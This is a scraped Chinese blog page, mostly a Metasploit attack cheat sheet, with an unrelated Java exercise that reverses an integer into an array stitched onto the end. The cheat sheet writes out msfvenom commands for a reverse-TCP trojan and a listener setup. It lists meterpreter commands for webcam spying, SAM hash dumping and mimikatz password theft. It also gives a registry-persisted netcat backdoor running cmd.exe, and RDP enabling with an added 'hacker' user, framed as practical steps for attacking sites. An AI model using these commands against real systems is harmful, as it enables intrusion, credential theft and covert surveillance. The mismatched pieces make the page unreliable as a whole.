一
Posted Stray.io
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一相关的知识,希望对你有一定的参考价值。
文章目录
前言
最近打站,可以感觉到之前的学的渗透知识忘记很多。。。。。多用多看多练,简单回顾一下
msfvenom生成远控木马
msfvenom是用来生成后门的软件,在目标主机上执行后门,在本地监听上线。
这里就拿windows来举例子
windows可执行程序后门:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.xx.xx lport=4444 -f exe -o demo.exe
-p: payload
payload_name: 系统/架构/作用/方式
lhost:kali
lport:监听的端口
-f:指定输出格式
-o:output
在实际环境中,想办法将生成的木马上传到目标主机(通过历史漏洞、中间件解析漏洞、等等方式),并且用户要有执行权限,不然就要先提权了。
下面就要用到最常用的主机监听模块了:multi/handle
,对指定主机,指定端口进行监听
use exploit/multi/handler #使用监听模块
set payload windows/x64/meterpreter/reverse_tcp #设置payload,不同版本的系统,payload不同
set host 192.168.xx.xx #设置kali的ip
set lport 5555 #设置监听的端口
run
此时,在受害机上执行我们生成的木马(大部分情况下是无法直接上传的,各种杀软会将其拦截,这个时候就需要加壳、免杀等等,后续会进行总结)就可以成功拿到主机的控制权限。
基本系统命令
sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
background #将当前会话放置后台
run #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot / shutdown #重启/关机
shell #进入目标机cmd shell
webcam 摄像头命令
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
常用的信息收集脚本
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
注册表设置nc后门
upload /usr/share/windows-binaries/nc.exe C:\\\\windows\\\\system32 #上传nc
reg enumkey -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run #枚举run下的key
reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v lltest_nc -d 'C:\\windows\\system32\\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\Run -v lltest_nc #查看键值
nc -v 192.168.xxx.xxx 443 #攻击者连接nc后门
开启 rdp&添加用户
enable_rdp 脚本
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=hacker PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过 enable_rdp.rb 脚本可知:开启 rdp 是通过 reg 修改注册表;添加用户是调用 cmd.exe 通过 net user 添加;端口转发是利用的 portfwd 命令
获取哈希
run post/windows/gather/smart_hashdump #从SAM导出密码哈希
#需要SYSTEM权限
mimikatz抓取密码
load mimikatz #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
。。。。待补充
将一整数逆序后放入一数组中
1、题目描述
将一整数逆序后放入一数组中(非递归实现) 例如: 1234 变为 {4,3,2,1}
2、代码实现
1 package com.wcy.october; 2 3 /** 4 * 时间:2016年10月23日 5 * 题目:将一整数逆序后放入一数组中(非递归实现) 例如: 1234 变为 {4,3,2,1} 6 */ 7 public class RecursionTest2 { 8 9 /** 10 * 将一整数逆序后放入一数组中 11 * @param number 待逆序的整数 12 * @return 整数逆序后的数组 13 */ 14 public static int[] getResult(String number){ 15 int[] result = new int[number.length()]; 16 int len = number.length(); 17 for (int i = 0; i < number.length(); i++) { 18 result[i] = Integer.parseInt(number.charAt(len-1)+""); 19 len--; 20 } 21 return result; 22 } 23 24 /** 25 * 打印数组函数 26 * @param arr 待打印的数组 27 */ 28 public static void showArray(int[] arr){ 29 System.out.print("{"); 30 for (int i = 0; i < arr.length; i++) { 31 if (i == arr.length-1) { 32 System.out.print(arr[i]); 33 }else { 34 System.out.print(arr[i] + ","); 35 } 36 } 37 System.out.println("}"); 38 } 39 40 public static void main(String[] args) { 41 int[] arr = getResult("1234"); 42 showArray(arr); 43 } 44 }
以上是关于一的主要内容,如果未能解决你的问题,请参考以下文章